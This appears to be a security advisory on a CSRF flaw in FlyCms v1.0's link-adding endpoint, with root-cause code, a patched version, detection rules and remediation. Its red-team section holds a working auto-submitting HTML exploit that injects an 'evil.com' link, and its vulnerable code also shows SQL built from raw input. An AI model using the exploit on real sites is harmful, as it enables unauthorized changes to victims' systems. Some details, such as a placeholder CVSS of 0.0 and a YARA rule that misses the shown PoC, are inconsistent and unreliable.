CVE-2024-22603

Executive Summary

CVE-2024-22603 identifies a Cross-Site Request Forgery (CSRF) vulnerability in FlyCms v1.0, specifically within the /system/links/add_link endpoint. This flaw allows an attacker to trick an authenticated administrator into unknowingly submitting a malicious request, leading to unauthorized addition of external links. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as medium severity due to the potential for link injection and reputational damage. No official patch exists, and the vendor has not responded to disclosure attempts. The attack vector is network-based, requires user interaction, and has low complexity.

Supply Chain & Package Security

FlyCms is a standalone PHP application, not distributed via NPM, PyPI, Go, or Ruby registries. No supply chain package security concerns apply.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Base Score: 4.3 (Medium)
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – Attacker does not need authentication.
• User Interaction (UI): Required (R) – Victim must click a crafted link or visit a malicious page.
• Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): Low (L) – Unauthorized link addition possible.
• Availability (A): None (N) – No denial of service.

Threat Level: Medium. Exploitation requires social engineering but can lead to persistent link injection, potentially used for phishing or SEO manipulation.

Deep Dive & Mechanics

The vulnerability resides in the add_link function of FlyCms v1.0. The endpoint /system/links/add_link processes POST requests to add new links to the system. The application fails to implement anti-CSRF tokens or origin validation, allowing an attacker to forge requests on behalf of an authenticated admin.

Attack Flow:

1. Attacker crafts a malicious HTML page containing a form that auto-submits to /system/links/add_link with parameters like name, url, and description.
2. Attacker lures an authenticated admin to visit the page (e.g., via email, forum post).
3. The admin’s browser sends the forged POST request with the admin’s session cookies.
4. The server processes the request, adding a malicious link to the system.

Root Cause: Missing CSRF protection mechanisms (e.g., tokens, SameSite cookies, referrer checks).

Vulnerable vs. Patched Code

Vulnerable Code (FlyCms v1.0):

// /system/links/add_link
if ($_POST) {
    $name = $_POST['name'];
    $url = $_POST['url'];
    $description = $_POST['description'];
    // No CSRF token check
    $db->query("INSERT INTO links (name, url, description) VALUES ('$name', '$url', '$description')");
}

Patched Code (Hypothetical):

// /system/links/add_link
session_start();
if ($_POST) {
    if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
        die('CSRF token validation failed');
    }
    $name = htmlspecialchars($_POST['name'], ENT_QUOTES, 'UTF-8');
    $url = filter_var($_POST['url'], FILTER_VALIDATE_URL);
    $description = htmlspecialchars($_POST['description'], ENT_QUOTES, 'UTF-8');
    if ($url === false) {
        die('Invalid URL');
    }
    $stmt = $db->prepare("INSERT INTO links (name, url, description) VALUES (?, ?, ?)");
    $stmt->bind_param("sss", $name, $url, $description);
    $stmt->execute();
}

Exploitation & Lab Setup

Red Team

Proof-of-Concept (PoC) HTML:

<html>
<body>
<form action="http://target.com/system/links/add_link" method="POST" id="csrf-form">
    <input type="hidden" name="name" value="Malicious Link">
    <input type="hidden" name="url" value="http://evil.com">
    <input type="hidden" name="description" value="Click here for free stuff">
</form>
<script>document.getElementById('csrf-form').submit();</script>
</body>
</html>

Usage:

1. Host the HTML on an attacker-controlled server.
2. Send the link to an authenticated admin (e.g., via email).
3. Upon visiting, the form auto-submits, adding the malicious link.

Lab Setup:

• Install FlyCms v1.0 on a local server (e.g., XAMPP).
• Create an admin account and log in.
• Host the PoC HTML on a separate domain.
• Access the PoC page while logged in as admin.
• Verify the link appears in the admin panel.

Blue Team

Detection Steps:

1. Monitor /system/links/add_link POST requests for unusual Referer headers or missing Origin headers.
2. Check for rapid, automated submissions of link forms.
3. Review server logs for unexpected link additions from admin accounts.

Mitigation in Lab:

• Implement CSRF tokens as shown in the patched code.
• Validate Referer header against expected origins.
• Use SameSite=Strict or SameSite=Lax cookies.

Indicators of Compromise (IOCs)

• Network: POST requests to /system/links/add_link with Referer header not matching the application’s domain.
• File: Unexpected entries in the links database table with suspicious URLs.
• Log: Server access logs showing repeated POST requests to /system/links/add_link from external IPs.
• Behavior: Admin accounts adding links without user interaction.

Detection Engineering

YARA Rule

rule flycms_csrf_exploit {
    meta:
        description = "Detects CSRF exploit attempts against FlyCms add_link endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-22603"
    strings:
        $form = "action=\"/system/links/add_link\"" ascii nocase
        $method = "method=\"POST\"" ascii nocase
        $name = "name=\"name\"" ascii nocase
        $url = "name=\"url\"" ascii nocase
    condition:
        all of them
}

Sigma Rule

title: FlyCms CSRF Add Link Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects POST requests to FlyCms add_link endpoint without proper referer
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: POST
        c-uri: '/system/links/add_link'
    filter:
        c-referer: 'http://target.com/*'
    condition: selection and not filter
falsepositives:
    - Legitimate admin actions from expected referers
level: medium

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2024-22603 FlyCms CSRF Add Link Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/system/links/add_link"; http_uri;
    pcre:"/Referer\x3a\x20[^\r\n]*?(?!http:\/\/target\.com)/Pi";
    sid:1000001;
    rev:1;
    reference:cve,2024-22603;
    priority:2;
)

Remediation & Mitigation

Immediate Actions:

1. Implement CSRF Tokens: Add a unique, per-session token to all forms and validate on submission.
2. Validate Referer Header: Reject requests where the Referer header does not match the application’s origin.
3. Use SameSite Cookies: Set SameSite=Strict or SameSite=Lax on session cookies.

Long-Term Fixes:

• Upgrade to a patched version if released.
• Conduct a security audit of all endpoints for missing CSRF protection.
• Educate administrators on phishing risks.

Workarounds:

• Disable the link management feature if not needed.
• Restrict access to /system/links/add_link via IP whitelisting or additional authentication.

Valters IT
Securing Digital Frontiers